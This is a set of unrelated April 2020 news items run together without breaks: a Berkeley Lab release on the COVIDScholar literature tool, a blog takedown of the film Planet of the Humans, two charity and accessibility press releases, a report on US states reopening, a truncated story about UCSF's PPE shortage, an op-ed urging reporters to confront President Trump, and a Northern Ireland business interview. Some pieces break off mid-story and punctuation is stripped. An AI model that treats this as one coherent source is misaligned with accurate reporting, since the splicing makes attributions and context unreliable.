of materials scientists at Lawrence Berkeley National Laboratory (Berkeley Lab) - scientists who normally spend their time researching things like high-performance materials for thermoelectrics or battery cathodes - have built a text-mining tool in record time to help the global scientific community synthesize the mountain of scientific literature on COVID-19 being generated every day. The tool, live at covidscholar.org, uses natural language processing techniques to not only quickly scan and search tens of thousands of research papers, but also help draw insights and connections that may otherwise not be apparent. The hope is that the tool could eventually enable "automated science." "On Google and other search engines people search for what they think is relevant," said Berkeley Lab scientist Gerbrand Ceder, one of the project leads. "Our objective is to do information extraction so that people can find nonobvious information and relationships. That's the whole idea of machine learning and natural language processing that will be applied on these datasets." COVIDScholar was developed in response to a March 16 call to action from the White House Office of Science and Technology Policy that asked artificial intelligence experts to develop new data and text mining techniques to help find answers to key questions about COVID-19. The Berkeley Lab team got a prototype of COVIDScholar up and running within about a week. Now a little more than a month later, it has collected over 61,000 research papers - about 8,000 of them specifically about COVID-19 and the rest about related topics, such as other viruses and pandemics in general - and is getting more than 100 unique users every day, all by word of mouth. And there are more papers added all the time - 200 new journal articles are being published every day on the coronavirus. "Within 15 minutes of the paper appearing online, it will be on our website," said Amalie Trewartha, a postdoctoral fellow who is one of the lead developers. This week the team released an upgraded version ready for public use - the new version gives researchers the ability to search for "related papers" and sort articles using machine-learning-based relevance tuning. The volume of research in any scientific field, but especially this one, is daunting. "There's no doubt we can't keep up with the literature, as scientists," said Berkeley Lab scientist Kristin Persson, who is co-leading the project. "We need help to find the relevant papers quickly and to build correlations between papers that may not, on the surface, look like they're talking about the same thing." The team has built automated scripts to grab new papers, including preprint papers, clean them up, and make them searchable. At the most basic level, COVIDScholar acts as a simple search engine, albeit a highly specialized one. "Google Scholar has millions of papers you can search through," said John Dagdelen, a UC Berkeley graduate student and Berkeley Lab researcher who is one of the lead developers. "However, when you search for 'spleen' or 'spleen damage' - and there's research coming out now that the spleen may be attacked by the virus - you'll get 100,000 papers on spleens, but they're not really relevant to what you need for COVID-19. We have the largest single-topic literature collection on COVID-19." In addition to returning basic search results, COVIDScholar will also recommend similar abstracts and automatically sort papers in subcategories, such as testing or transmission dynamics, allowing users to do specialized searches. Now, after having spent the first few weeks setting up the infrastructure to collect, clean, and collate the data, the team is tackling the next phase. "We're ready to make big progress in terms of the natural language processing for 'automated science,'" Dagdelen said. For example, they can train their algorithms to look for unnoticed connections between concepts. "You can use the generated representations for concepts from the machine learning models to find similarities between things that don't actually occur together in the literature, so you can find things that should be connected but haven't been yet," Dagdelen said. Another aspect is working with researchers in Berkeley Lab's Environmental Genomics and Systems Biology Division and UC Berkeley's Innovative Genomics Institute to improve COVIDScholar's algorithms. "We're linking up the unsupervised machine learning that we're doing with what they've been working on, organizing all the information around the genetic links between diseases and human phenotypes, and the possible ways we can discover new connections within our own data," Dagdelen said. The entire tool runs on the supercomputers of the National Energy Research Scientific Computing Center (NERSC), a DOE Office of Science user facility located at Berkeley Lab. That synergy across disciplines - from biosciences to computing to materials science - is what made this project possible. The online search engine and portal are powered by the Spin cloud platform at NERSC; lessons learned from the successful operations of the Materials Project, serving millions of data records per day to users, informed development of COVIDScholar. "It couldn't have happened somewhere else," said Trewartha. "We're making progress much faster than would've been possible elsewhere. It's the story of Berkeley Lab really. Working with our colleagues at NERSC, in Biosciences [Area of Berkeley Lab], at UC Berkeley, we're able to iterate on our ideas quickly." Also key is that the group has built essentially the same tool for materials science, called MatScholar, a project supported by the Toyota Research Institute and Shell. "The main reason this could all be done so fast is this team had three years of experience doing natural language processing for materials science," Ceder said. They published a study in Nature last year in which they showed that an algorithm with no training in materials science could uncover new scientific knowledge. The algorithm scanned the abstracts of 3.3 million published materials science papers and then analyzed relationships between words; it was able to predict discoveries of new thermoelectric materials years in advance and suggest as-yet unknown materials as candidates for thermoelectric materials. Beyond aiding in the effort to combat COVID-19, the team believes they will also be able to learn a lot about text mining. "This is a test case of whether an algorithm can be better and faster at information assimilation than just all of us reading a bunch of papers," Ceder said. COVIDScholar is supported by Berkeley Lab's Laboratory Directed Research and Development (LDRD) program. Their materials science work, which served as the foundation for this project, is supported by the Energy & Biosciences Institute (EBI) at UC Berkeley, the Toyota Research Institute, and the National Science Foundation. ### Founded in 1931 on the belief that the biggest scientific challenges are best addressed by teams, Lawrence Berkeley National Laboratory and its scientists have been recognized with 13 Nobel Prizes. Today, Berkeley Lab researchers develop sustainable energy and environmental solutions, create useful new materials, advance the frontiers of computing, and probe the mysteries of life, matter, and the universe. Scientists from around the world rely on the Lab's facilities for their own discovery science. Berkeley Lab is a multiprogram national laboratory, managed by the University of California for the U.S. Department of Energy's Office of Science. DOE's Office of Science is the single largest supporter of basic research in the physical sciences in the United States, and is working to address some of the most pressing challenges of our time. For more information, please visit energy.gov/science. Planet of the humans: A reheated mess of lazy, old myths Posted on 28 April 2020 by Guest Author This is a re-post from Ketan Joshi's Earth, science and technology blog The film Planet of the Humans opens with the director, Jeff Gibbs, operating a fossil-fuelled combustion engine vehicle, on a road full of combustion engine vehicles, followed up with some footage taken from the International Space Station (fossil fuelled rockets put that in space). This is not a documentary about the environmental damage that had to occur for Gibbs to go on his drive it is not mentioned. Nor is it about the harm from fossil fuels. It is about why renewable energy is bad. I used to work in the renewable energy industry first, with wind farms and later in research, government agencies and advocacy groups. So it was hard to resist both watching and reviewing this one, considering it launched on Earth Day, and it has been widely promoted. Not only is the documentary bad, its old bad. Please join me on this journey back in time. It wont be fun, but Im glad youre here with me. All of the stuff in this documentary is ancient It is clear that Gibbs has been trying to make this documentary for a long, long time. He is currently working on a film about the state of the planet and the fate of humanity, read his bio, in 2012. It is clear, digging into these early posts, that he very passionately loathes the burning of trees to generate energy a wildly controversial and genuinely problematic thing, for sure. But as early as 2010, Gibbs was posting HuffPost blogs extending that into wind and solar, too. This one, for instance, repeats a bog-standard list of anti-wind and anti-solar memes that, back in 2010, were fashionable among climate deniers. The wind and solar are too intermittent meme, for instance, is a great hallmark of that era. How much variable energy can a grid accept? Around ten percent, twenty percent tops it appears, he wrote back then. Id include examples of grids with higher percentages operating without a hitch today, but it feels almost cruel. The extreme oldness of this documentary stands out. In one instance, he tours a solar farm in Lansing, Michigan, in which a bemused official states that a large farm can only power ten homes in a year. It is the Cedar Street Solar Array, a 150 kilowatt 824 (thats small) panel farm in downtown Lansing. Guess when that bad boy was built? 2008. Twelve years ago an absolute eternity, in solar development years. As PV Magazine writes, The film reports on a solar installation in Michigan with PV panels rated at just under 8 percent conversion efficiency. Its difficult to identify the brand of panel in the film (Abound?) but that efficiency is from another solar era. Efficiency gains in solar have been so rapid that by leaving the dates off his footage he is very actively deceiving the audience. The site generates 64-64 MWh a year, according to the owner a more recent installation in the same area generates around 436. The footage really is from another era. Its like doing a documentary on the uselessness of mobile phones but only examining the Motorola Ultrasleek. Later, they visit the Solar Energy Generating System (SEGS) solar farm, only to feign sadness and shock when they discover its been removed, leaving a dusty field of sand. In the desert. Then Ozzie and I discovered that the giant solar arrays had been razed to the ground, he moans. It suddenly dawned on me what we were looking at. A solar dead zone. Which is a weird one, because the latest 2020 satellite imagery shows a site full of solar arrays, and a total absence of any dead zones. The damn thing is generating electricity. Welcome tothe DEAD ZONE Without knowing when the footage was taken, the only likely explanation for this is the pair of dudes visited the site midway through the point at which one of the fields was being removed and replaced with newer models, something which has happened several times over the past few decades. In a red flag for any veteran of the wind farm debate, Gibbs then uses footage of a collection of old wind turbines rusted, gross and horrible to illustrate the short life and lasting damage of these huge spiky bastards. If youre familiar with the network of anti-wind farm groups, youll recognise that theyre old machines from South Point on Big Island, Hawaii. They were removed in 2012, by the owner of the facility. All that is left now are small hexagonal pads on farmland used by the cattle that roam it: Why for most of my life, have I fallen for the illusion that green energy would save us? It sounds like hes saying this in 2020, but he is saying it well in the past. Gibbs was posting anti-wind memes roughly 23 full epidemics ago. Nothing in this is new. With regards to its wind and solar parts, it smacks of 2010s era climate change denial, in which renewables were seen by detractors as expensive, wasteful, low-capacity, heavily corporatised and destined to fail. Things are different in 2020, but the director isnt. He doesnt need to be. Even the ideas are old Putting aside the sites they visit and the footage they use, there are some ideas in this documentary that are well worn and highly recognisable memes from the 2009 2013 climate denial wonder years. You can tell when someones knowledge of this has formed solely from doing a Google search for solar panels bad dont like, and it really shows in this film. Early on in the documentary, Gibbs has an exchange with an anti-wind farm protester about coal-fired power: Protester: You need to have a fossil fuel power plant backing it up and idling 100% of the time, because if you cycle up or cycle down as the demand on the wind comes through, you actually generate a bigger carbon footprint if you ran it straight Gibbs: Do you ever go to things where they just go Oh, thats not true, it doesnt matter were going to have a smart grid? Protester: Doesnt make any difference, they still gotta theyre using it. You gotta have it idling. Because, lets just say the wind stopped right now. Just stopped for an hour. Youve got to have that power This extremely silly concept that coal-fired power stations run at 100% capacity all the time regardless of how much power they output is so old it hurts my brain. In fact, it was big in 2012, when I came across it in Australian media. Its wrong. If the power plant generates less electricity, it uses less coal. Gibbs is putting this eight-year-old meme in the microwave and serving it up in for his audience. Later, he presents the work of a researcher named Richard York, who claims that the addition of renewable energy has no impact on fossil fuel output. I cant access the paper, which is from you guessed it 2012, but the premise is mind-numbingly silly. Electric grids match supply and demand at all times. Energy generated from one new source has to replace energy generated from an existing source the grid would collapse, if it didnt. That is why South Australias grid looks like this: Via OpenNEM And Denmark looks like this: I made this chart for this Things start to get into proper, outright, anti-vax / climate denier grade misinformation when producer Ozzie Zehner comes in. One of the most dangerous things right now is the illusion that alternative technologies like solar and wind are somehow different from fossil fuels, he tells Gibbs. You use more fossil fuels to do this than youre getting benefit from it. You would have been better off just burning fossil fuels in the first place, instead of playing pretend . It is, in fact, possible to scientifically examine the emissions associated with making, transporting and erecting renewable energy, and compare it to the emissions saved by using it. There are just so many studies on this, but heres the Breakthrough Institutes Zeke Hausfather. Its important to be really clear about this: Zehners remarks in this film are toxic misinformation, on par with the worst climate change deniers. No matter which way you look at it, there is no chance that these projects lead to a net increase in emissions. Gibbs attends a solar conference again in some non-specific year and is told by a bunch of obviously well-meaning and slightly baffled young renewable energy experts (literally the only young, diverse people in the film) that battery storage is a way of managing intermittency. When I looked up how much battery storage there is, it was less than one-tenth of one percent of whats needed, he says, presenting a pie chart (augh) of IEA data with a minuscule slice from batteries. But grid scale of batteries doesnt need massive capacities to be functionally useful for managing the integration of renewables so its a deeply misleading chart. In checking the information, I cant find International Energy Agency data for 51 giga BTU of battery capacity anywhere on their site. 546,000,000 Giga BTUs is 546,000,000,000,000 BTUs. which is 160,032,600,000,000 watt hours, or around 160,000 terawatt hours. This is primary energy supply how much energy was generated, but includes the quantity of energy wasted through inefficiency. If you only look at global annual electricity the field in which batteries play its around 20,000 TWh (they use a similar deception for Germanys biomass share). So its an extra dodgy comparison. Gibbs has created a self-sustaining argument here. If someone builds a battery storage installation, he can visit the site and monotone sadly about its presence. If someone decides to not build that battery, he can look up the statistics and monotone sadly about the lack of battery capacity. In an earlier scene, at the launch of the General Motors Chevy Volt (2010, of course), he complains that the cars are being charged by the coal-sodden electric grid of that state another great example of the infinite loop Gibbs has created for himself, considering his reaction if more wind and solar were built to make that electricity cleaner. Theres gas, too. They repeatedly claim that shutting down coal plants results in replacement with gas. And in the US, gas has indeed expanded to fill a decent proportion of the gap left by coal: The UK has a similar thing too, where both renewables and gas are squeezing out coal. But scroll back up to Denmark, above, where a combination of interconnection with other countries, massive wind build-out and coal and gas shutdown has cleaned up the grid. Or Germany, where gas output remains unchanged as coal plants shut down. There is nothing inherent to renewable energy that makes gas compulsory. All that matter is how the transition is managed. For a long time, gas was sold as a transition fuel, including by organisations like the Breakthrough Institute. But it is becoming increasingly clear that while it might ease change, it isnt compulsory, and the urgency of decarbonisation has increased. This film is a long, slow painful monument to laziness It feels so weird writing about these things again. I feel like Ive been transported back in time ten years, back to my early days in the renewable energy industry. Wed combat these viral memes every single day. The industry looks different now. Many wind companies have learnt that insensitive, clumsy development leads to backlash that is harmful for everyone, so theyve started to clean up their act. Solar developers are figuring out more sustainable pathways than the boom and bust of government subsidies. The human rights issues around mining and materials are becoming more prominent. Renewable companies are taking waste removal seriously. And then this documentary comes along a dumb old bull in the china shop that is 2020s hard-earned climate action environment. Theres a lot of fragile, hard-fought stuff to wreck in there, and Gibbs goes absolutely wild. Hes bulldozing a lot of hard work. Gibbs obviously has a long-running gripe with biomass, which has a whole range of serious issues associated with it. Though I dont know the industry well, I suspect many of his gripes there are valid. But the outright lies about wind and solar are serious and extremely harmful. Wind and solar arent just technological tools with enormous potential for decarbonisation. They also have massive potential to be owned by communities, deployed at small scales with minimal environmental harm, and removed with far less impact on where they were than large power stations like coal and gas. They do incredible things to electricity bills, they decentralise power (literally and figuratively), and with more work they can be scaled up to properly replace fossil fuels. Gibbs isnt interested in this stuff. No one in 2012 was. Hes armed with a list of dot points from climate denier blog Watts Up With That, and hes ready to go. The key harm of this documentary is that it does what so many communicators struggle, but fail to do it presents ideas from one ideological cluster into the world of another. It is very actively and successfully escaping the bubble, and selling far-right, climate-denier myths from nearly a decade ago to left-wing environmentalists in the 2020s, and going by much of the comments, it seems to be doing well. Gibbs is transcending both time and ideological space, held aloft by a system that provides prominence to mediocrity. Its tough to look past how popular this has been. The films been boosted because many interviews feature the popular and well-known producer Michael Moore, including on Stephen Colberts Late Show. Ludicrously, it received four stars (four. fucking. stars.) in the Guardian, a media outlet normally careful to not boost climate-denier grade misinformation. All this prominence despite the fact that the film failed to find a distributor, and was dumped onto Youtube instead. Weve talked to sales agents. We believe that there will be a tremendous amount of interest in this film This is going to get distributed. It will be seen, Moore insisted last year. It is clear that Gibbs starting point was a loathing of biomass, which then turned into a loathing of every single decarbonisation technology (except nuclear power, which isnt mentioned in the film). But he ends up at population control a cruel, evil and racist ideology that you can see coming right from the start of the film. I wish I had the emotional energy to go into it, but I have spent it all. Earthers Brian Kahn writes: Theres a reason that Breitbart and other conservative voices aligned with climate denial and fossil fuel companies have taken a shine to the film. Its because it ignores the solution of holding power to account and sounds like a racist dog whistle The film features a parade of solely white Americans, mostly male, insisting the planet has to reduce its population. There is no information provided on which people in the world need to stop fucking, but we can take a guess, based on the demographics of the people doing the asking. This documentary particularly the parts on energy, renewables and industry- is extremely bad. It is Jeff Gibbs 2010 Huffington Post blog drawn out in one hour and forty minutes, which feels like like a decade. I knew it would be lazy, but the magnitude of laziness here is incredible. It it mostly old. It is obviously re-hashing some specific gripes, like its attacks on the nicest guy in the whole of climate activism, Bill McKibben. I feel like Ive barely scratched the surface and Im like 2,000 words in. I dont have the energy to glue together every single fragile thing that this bulldozer has destroyed. It is the ultimate expression of lazy privilege to make something so void of effort, but so widely viewed and promoted. Criticism will be rebuffed as Not Being Able To Handle The Truth, or the classic We Just Wanted To Start A Discussion. It is still a package of old, dead ideas reheated by someone who knew that he did not need to put any effort into updating his thinking. There was no chance he would be talking to climate activists, talking to young people, talking to experts, talking to community advocates, talking to people from other countries, or really talking to anyone who wasnt already mostly in his vicinity. It should have faded off into the pit of Youtubes unwatched terabytes, but it didnt, because mediocrity is celebrated, boosted and broadcast if it comes from someone who looks and sounds the right way. That is a serious vulnerability. The hard work of climate and energy advocates, as they grapple with challenges like corporate malfeasance, the impacts of mining and bad development can be shattered by the monotone arrogance of a single person inflicted with the Dunning Kruger effect. Somber music. For a list of posts rebutting the film, see here. The Team at C.J. Lawrence We hope that through our efforts with Island Harvest, Long Island Community Hospital, and ACLD, we can help galvanize our community to support the most vulnerable populations in the region," said Bernhard Koepp, CEO of C.J. Lawrence. As New Yorkers hunker down in a State of Emergency, many wonder what else they can be doing to help during the Global Pandemic brought on by COVID-19. To respond to the needs of the community and to galvanize individuals ready to assist, New York-based investment management boutique, C.J. Lawrence, has launched a campaign to provide matching funds for local food banks and hospitals that are in desperate need of support. Concentrating its efforts on Long Island, the area where most of its employees live, C.J. Lawrence is encouraging employees, clients, and partners to contribute to Island Harvest. Founded in 1992, Island Harvest has worked diligently towards its mission to end hunger and reduce food waste on Long Island. The unshakable grit and unmistakable spirit of New York are felt once again during these harrowing times, said Bernhard Koepp, CEO of C.J. Lawrence. We hope that through our efforts with Island Harvest, Long Island Community Hospital, and ACLD, we can help galvanize our community to support the most vulnerable populations in the region. Since the COVID-19 outbreak began, Island Harvest has increased its purchase of food 12-fold, distributed more than 1 million pounds of food, and provided over 800,000 meals to those in need across Long Island. With a 1 million meal distribution goal, the organization is looking to its community for support. Long Island was an early hot bed of virus activity, sitting inside a highly afflicted region. New York has been among the hardest hit in the U.S., with over 282,991 confirmed Coronavirus cases and 21,504 deaths (as per CDC.gov on April 27, 2020 at 1:08 PM EST). COVID-19 has affected every person and sector, in turn placing an added strain on local food banks who must feed a growing number of individuals with fewer volunteers and a decreased supply of food available. C.J. Lawrence has committed to matching contributions to Island Harvest up to $5,000, hoping that may incentivize more individuals to contribute. In addition to offering support to Island Harvest, C.J. Lawrence has also donated to Long Island Community Hospital and ACLD, a leading not-for-profit agency on Long Island that proudly supports the needs of individuals with developmental disabilities and their families. Both organizations have dedicated support efforts for COVID-19. To learn more about how you can donate to the COVID-19 relief efforts, please visit Island Harvest - https://interland3.donorperfect.net/weblink/weblink.aspx?name=E249623&id=68&cfifid=84 About C.J. Lawrence C.J. Lawrence is a leading New York-based investment management boutique providing platinum level service and investment portfolio customization to individuals, families, foundations, and institutions. With a legacy that dates to 1864, C.J. Lawrence was re-launched in 2014 as an independent SEC-registered investment advisor. The firm combines the talents of a highly experienced portfolio management team with an environment centered only on delivering optimal results. FCC program with local contacts enables independence for those with significant hearing and vision loss: "iCanConnect really changed my life" WATERTOWN, MA / ACCESSWIRE / April 28, 2020 / Staying connected in these trying times is more important than ever, and even more so for those with significant hearing and vision loss. Like most granddads, Ernest Gallman couldn't wait to meet his youngest grandson, Carson, when he was born last month. Unfortunately, due to the COVID-19 pandemic and social distancing guidelines, Gallman was not able to meet him in person. The 69-year-old Columbia, South Carolina man began losing his eyesight at age 10 and has experienced progressive hearing loss over the years. But with equipment and training provided by iCanConnect, also known as The National Deaf-Blind Equipment Distribution Program, Gallman was able to meet his grandson virtually. "Of course I was sad I couldn't meet my grandson in person," said Gallman, "but with everything that's going on in the world, it was safest to meet him virtually. I did a video call with my daughter while she was feeding him and I could listen to him coo, cry, and burp using my Bluetooth headset. It was nice!" "It's always meaningful to learn about the difference iCanConnect makes in the lives of participants in the program. They're using their equipment to stay updated with important information, and to keep in touch, especially during this period of social distancing," said Marcia Brooks, Director, Perkins National Deaf-Blind Equipment Distribution Program. "Sending an email or chatting on the phone can be challenging for people with both significant vision and hearing loss. Our mission is to help them stay connected with friends, family, community, and the world, especially during these challenging times." Now, not only does Gallman use the equipment he received through iCanConnect to keep in touch with his family, it's also a lifeline to the essential goods and services he needs to remain independent. "My laptop is invaluable," he said. "I use it to order groceries online and have them delivered to my house. And if I can't get a delivery, I email the list to my daughter and she shops for me and leaves the necessities on my porch." Story continues Before Gallman became an iCanConnect participant, he used an older flip phone and laptop to stay in touch with his family and friends. "I was pretty good with the flip phone," he said, "but when I received my new smartphone, Bluetooth headset, and computer through iCanConnect, it was so much easier and faster to get in touch with my family. The equipment and training I received through iCanConnect really changed my life," Gallman continued. "It made me more independent. I still can't wait to meet my grandson in person! Hopefully it'll happen someday soon," he finished. About iCanConnect iCanConnect is a national program with local contacts in all 50 states, District of Columbia, Puerto Rico, the U.S. Virgin Islands, Guam, American Samoa and the Northern Mariana Islands. Established by the Federal Communications Commission (FCC) in 2012, iCanConnect provides qualified individuals who have both significant vision and hearing loss with free distance communication equipment and training. The program helps reduce isolation, increase independence, and maintain access to important information for these individuals. To learn more about iCanConnect, visit www.iCanConnect.org. # # # Media Contact: Paula Slotkin, Slotkin Communications paula@slotkincommunications.com 781-248-9696 SOURCE: iCanConnect View source version on accesswire.com: https://www.accesswire.com/587226/iCanConnect-Helps-South-Carolina-Man-Stay-in-Touch-with-Family-During-COVID-19-Pandemic Infrequent testing and concerns over health threats cause many to hesitate as some US states begin opening. State and national leaders in the United States signalled an increasing willingness to curtail coronavirus-related lockdowns even as increased testing showed that the number of people infected by the virus surpassed one million for the first time on Tuesday. More than 57,000 people have died from complications of COVID-19, the disease caused by the coronavirus, public health officials at Johns Hopkins University reported on Tuesday. The number of reported US cases has doubled in the last 18 days, and now accounts for one-third of all infections in the world. About 30 percent of the cases have occurred in New York state, followed by New Jersey, Massachusetts, California and Pennsylvania. Despite the grim milestone, US President Donald Trump was at the forefront of calls to kickstart the countrys economy. In a Monday news briefing, he urged some state leaders to start thinking about school openings, because a lot of people are wanting to have the school openings. Educational institutions were closed across the nation at various points throughout March as the pandemic took hold in the US. Economic tests Talk of schools reopening comes as some states particularly rural ones begin reopening shuttered businesses in an effort to stave off the economic toll of the widespread stay-at-home orders. Strict social distancing measures and business closures across the country have frozen the economy. At least 26 million US citizens filed for unemployment benefits in the past five weeks, the most since the Great Depression of the 1930s. Trump said at his briefing on Monday that theres a hunger for reopening. Georgia Governor Brian Kemp began reopening his states economy on Tuesday, despite pushback from leaders of major cities like Atlanta. Some non-essential businesses like beauty parlours, restaurants and bowling alleys have been allowed to reopen as long as they follow social distancing guidelines. Alexandra Homyak takes a customers temperature before she enters Three-13 Salon, Spa and Boutique, during the phased reopening of businesses and restaurants in Georgia [Bita Honarvar/Reuters] What were essentially saying in Georgia is, go bowling and well have a bed waiting on you. Thats not what our approach should be to COVID-19, Atlanta Mayor Keisha Lance Bottoms told CNN on Monday evening. Texas Governor Greg Abbott, whose state has the second-largest economy in the US, will allow a stay-at-home order to expire on Thursday and some businesses to begin reopening the following day, operating at 25 percent occupancy. But health experts warn that the US cannot return to a semblance of normality until widespread testing occurs. Without widespread testing, the country risks a spike in coronavirus cases, they say. Trump and state leaders have been engaged in a war of words over testing and the federal governments general response to the pandemic. States such as New York, which has by far the most cases in the US, and Maryland have claimed federal officials are outbidding them on needed supplies and have so far failed to assist in expanding the availability of those tests. On Monday, the president unveiled a testing plan that largely places the burden of creating testing plans on state leaders. States should identify and overcome barriers to efficient testing like misallocation of supplies and logistical failures when developing their testing strategies, Trump said. Opening hesitation Even as states begin to reopen, many US residents remain hesitant to dive back into their daily routines. A CBS poll released on April 23 reported that 70 percent of respondents thought the nations top priority should be slowing the spread of the virus. Conversely, 30 percent thought Americans should try to get the economy going by sending people back to work, even if it means more people might be exposed to coronavirus, according to the poll. I think most of our customers are not ready to venture out yet, Kristin Allin, who, along with her husband, owns the Bread & Butterfly restaurant in Atlanta, Georgia, told the Associated Press news agency. Allin said her restaurant will remain closed for now, possibly for another month or more. Sam Hawgood, the chancellor of the University of California, San Francisco, was getting concerned. It was March 19, coronavirus cases in California were rising at an alarming rate, and U.C.S.F., one of the Bay Areas major medical providers, was already running perilously low on personal protective equipment. The universitys usual suppliers in the United States were short on masks and face shields, and there was no sign that the State of California or the federal government was coming to the rescue. The supply chain had really dried up, Mr. Hawgood said. So Mr. Hawgood called Marc Benioff, the hyperconnected billionaire who is a founder and the chief executive of Salesforce. In some ways, it was the natural call to make. Mr. Benioff gave the university $100 million to build a childrens hospital in 2010 and remained a major benefactor. But there was no reason to think Mr. Benioff, who runs an enterprise software company, could quickly muster a supply chain for personal protective equipment, especially during a global pandemic. Last Friday night, a White House official disrespected CNN White House correspondent Kaitlan Collins before President Trumps daily coronavirus briefing. Shortly after, Collins tweeted about the incident. The following day, The Washington Post fleshed out the elements of this transgression. After being ordered to give up her front row seat and move to the back of the press room, Collins refused and cited her seat assignment, a decision made lawfully by the White House Correspondents Association; not the White House. To disempower Collins and diminish her confidence, the official threatened use of the Secret Service. Of course, this isnt the first time Donald Trump or a member of his administration has tried to intimidate and humiliate an effective reporter. In 2018, Mr. Trump blocked Collins from an open White House media event because her revealing questions about Michael Cohen embarrassed and unraveled him. Similarly, Mr. Trump has banned CNNs Jim Acosta (a decision overturned in federal court after CNN filed a lawsuit), denied press access to a majority of the White House press corps, and more recently targeted and insulted Yamiche Alcindor (PBS) and Paula Reid (CBS) because of the strength of their questioning. Thankfully (and unsurprisingly), Collins, an Alabama native, didnt blink. Her confidence compelled the president of the United States to run away from Q&A and hide in fear of Collins challenging him. At 22 minutes, Fridays fiasco was the shortest of many weve had to endure. Yet despite Collins exemplary act of civil disobedience, Mr. Trump will continue denigrating and trying to silence reporters, women especially, whose power and talent expose his cowardice and magnify his insecurities. In response, those of us who weigh in should publicly condemn Mr. Trumps abuse of power and castigate him using the strongest possible language. Reporters should persist and unflinchingly resist him in as many principled and intelligent ways as possible. I have a few tactics in mind, grounded in practices from the Civil Rights Movement. The first is strength in numbers. Every social movement that has achieved hard-fought progress has succeeded in part due to a large number of people working together in pursuit of a common goal. For example, during the Civil Rights Movement, courageous American citizens who marched in Selma, Alabama shared a powerful strategy: Martin Luther Kings negotiate, demonstrate, resist. Resisting in solidarity, these brave women and men performed heroic acts of civil disobedience in unison. We can borrow from this approach. Kaitlan Collins excels at her job and Mr. Trump has never been interested in doing his job. Nothing will change that. But cohesive, strategic, persistent action can be taken by reporters to resist the president and support each other. When Mr. Trump evades a reporters question, another reporter can say to the president directly, you did not answer her question, and then follow up. When Mr. Trump attacks the credibility of a reporter, another reporter can ask him why he feels intimidated. When Mr. Trump crosses the line and disparages a reporter, another reporter can ask him why he engages in such small behavior. This tactic of stepping up to back each other up in the briefing room can be used to corner the president. Together, reporters can chip away at his defense mechanisms, exploit his ineptitude, and trigger him to grossly overreact in public. It may not wound him in the eyes of his base, but it could certainly sway voters on the fence. Another tactic that could be useful is premeditation reporters talking to each other and working together ahead of briefings to devise ways to hold the president accountable and make him pay the price when he abuses power. I imagine the meatiest goal here would be not just to get in his head but to make him turn visibly red, and once he turns red, to press the point fully. Mr. Trump is a bully and everybody knows it. Kaitlan Collins clearly has the confidence and the courage to hear that Secret Service is on the way and still pretend that Donald Trump doesnt exist. But bullies like Mr. Trump dont subside, especially not when theyre hungry for reelection. So, we have to defeat them. In resisting the president in some of these ways and others we protect our free press and flex the muscle of the First Amendment, key pillars of our democracy. We set a strong precedent for how not to tolerate disrespect from any leader who tries to step on Americans working honorably to strengthen our democracy. Our press keeps us informed. We owe them respect. Wood a former Robert L. Bartley Fellow at The Wall Street Journal. Ian Henry, managing director of glazing company Windell and director of its parent Henry Brothers, became president of the NI Chamber of Commerce in early March. It was just as the impact of the Covid-19 outbreak in China began to be felt but ahead of its devastating spread here and the ensuing shutdown of the economy. Hes now grappling with the situation at Chamber president and as the boss of his own Magherafelt-based company. And he is concerned about the mental health implications of the lockdown, including for staff of all companies who are working from home. Becoming president at this time has been a bit of a jump in the deep end. Certainly lockdown is having a serious impact on business in general and on how business is done. Specifically, youre having a lot more people working from home, which is totally different from Northern Ireland culture. That was harder to navigate at the start but for us, its starting to smooth out and people are managing it better. But you need to try and have a home life away from your working life. Its very bad if you merge the two. You need that separation, to park your work life and come home to a normal family situation. I know some people struggle with walking out of the office at home, into family life if you dont have that separation. Its very easy to drift into communications after hours or at night-time, checking your emails, etc. That could cause a wee bit more stress and angst thats not required at this time. At his own business, we have a lot of staff working from home, in our design team and office staff, at the moment and they all seem to be getting on well. However, around 60% of staff at the wider Henry Group are furloughed. You cant build bricks from home. And while many people in other parts of the economy have lost their jobs in the crisis, he says furloughing and having no work to go to can also cause issues. If people are sitting at home getting bored, that causes anxiety and problems so we need to be careful we dont have mental stress issues going forward. Once we used to think we never had time for anything else but work - now we have too much time on our hands. People then think things over too much. The Chamber has had an important role. Weve pulled together and distributed critical information, and been very responsive and very informative. Even with the start of the furlough scheme, for example, we had a team working to understand how that operated. The Chamber has a critical role to inform members abouve the changing environment. Father of two Ian became managing director of Windell, which specialises in security and commmercial glazing, seven years ago but had worked for the family business since leaving school age 15. Windell was set up 33 years ago, targeting the security market in Northern Ireland before extending into security glazing worldwide. But the history of Henry Brothers goes even further back, to when his father Jim set up H&K Construction, later Henry Brothers, in 1976. Henry Group is now a major player with around 200 staff and interests from manufacturing to construction and fit out. Jim Henry, my father, started the company and is now chairman, and David, my brother, is now managing director. We strangely enough find it ok working together... Theres a clear understanding of whos in charge and what the roles and responsibilities are, and what we want to achieve. We get on really well as a family and if theres issues to be resolved, theyre sorted by majority vote and we move on. Ian and wife Valerie, a teacher, have two daughters Katie (14) and Lucia, whos 12. Some of the third generation is already working in the company but he stresses: You dont get the name and title just because youre born into it. You have to provide your worth to get the title. Jim remains very active. He still likes to keep the finger on the pulse -its that older generation who always like the communication with the employees and the people hes built the company around. His mother Ray is also the backbone of the company, and the familys strong Christian faith has also been an important factor in its history. He says its a challenging time for his company - but its been through tough times before. His uncle Harold, who worked at the company, was murdered by the IRA in 1987, and another company director, John Gibson, was murdered six years later. We have been through quite a lot. Weve certainly had challenging times through the Troubles, through recession but through it all, were a family business. So long as we have a workforce, were there to help them, and the backbone is our employees were hear to make sure theyre ok and able to carry out their work. We have to all stay safe and well, thats the main thing in this crisis. You cant replace lives. Looking to the future and the resumption of business: I think the government is doing the right thing with lockdown and making sure youve put all procedures in place and we need to respect that but at same time get ready to move and get ready to run our businesses as soon as restrictions lifted. For now, hes thankful for the furlough scheme. We would have been looking at a whole different scenario, and a whole lot of people would have been laid-off, which would have been devastating for the company. And its a very different crisis to the last downturn. The work didnt come to a sudden end with the financial crisis before. We were able to work through it though the jobs were lighter on the ground and you had to make sure who you were pricing to. But this was a sudden stop and you closed your doors - I dont think anybody in modern business has had to go through that. It is war-time stuff. And he believes we will come back to a different world. Work and life will be different, whether for six months to a year or longer. Well have more remote working, well always be thinking about how may do we have on a site, how many on the floor, how many are eating together. There could be added costs if firms have to put on a double-shift or extra management time to make up for rules which may limit the number of people on company premises. And he urged government to push out contracts for private firms to compete for when the lockdown is lifted. That will show confidence - and confidence will be the big thing here. And he says Brexit will be another problem to contend with soon. We might come out of Covid-19 in tentative form at some point, but then well be straight into the issues around coming out of Europe. While recogising the necessity of lockdown, hes concerned that the countries have faced coronavirus ahead 